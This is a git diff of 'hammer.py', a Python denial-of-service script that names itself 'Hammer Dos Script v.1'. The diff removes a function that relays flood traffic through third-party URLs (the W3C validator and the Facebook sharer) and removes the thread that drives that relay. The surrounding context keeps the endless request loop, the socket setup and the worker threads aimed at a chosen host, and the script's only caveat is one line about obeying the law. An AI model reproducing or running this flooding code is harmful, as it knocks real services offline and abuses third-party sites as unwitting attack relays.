diff --git a/hammer.py b/hammer.py index 2ffdf1f..463f7db 100644 --- a/hammer.py +++ b/hammer.py @@ -23,14 +23,6 @@ def user_agent(): return(uagent) -def my_bots(): - global bots - bots=[] - bots.append("http://validator.w3.org/check?uri=") - bots.append("http://www.facebook.com/sharer/sharer.php?u=") - return(bots) - - def bot_hammering(url): try: while True: @@ -67,13 +59,6 @@ def dos(): q.task_done() -def dos2(): - while True: - item=w.get() - bot_hammering(random.choice(bots)+"http://"+host) - w.task_done() - - def usage(): print (''' \033[92m Hammer Dos Script v.1 http://www.canyalcin.com/ It is the end user's responsibility to obey all applicable laws. @@ -131,8 +116,8 @@ def get_parameters(): get_parameters() print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m") print("\033[94mPlease wait...\033[0m") + user_agent() - my_bots() time.sleep(5) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) @@ -146,9 +131,6 @@ def get_parameters(): t = threading.Thread(target=dos) t.daemon = True # if thread is exist, it dies t.start() - t2 = threading.Thread(target=dos2) - t2.daemon = True # if thread is exist, it dies - t2.start() start = time.time() #tasking item = 0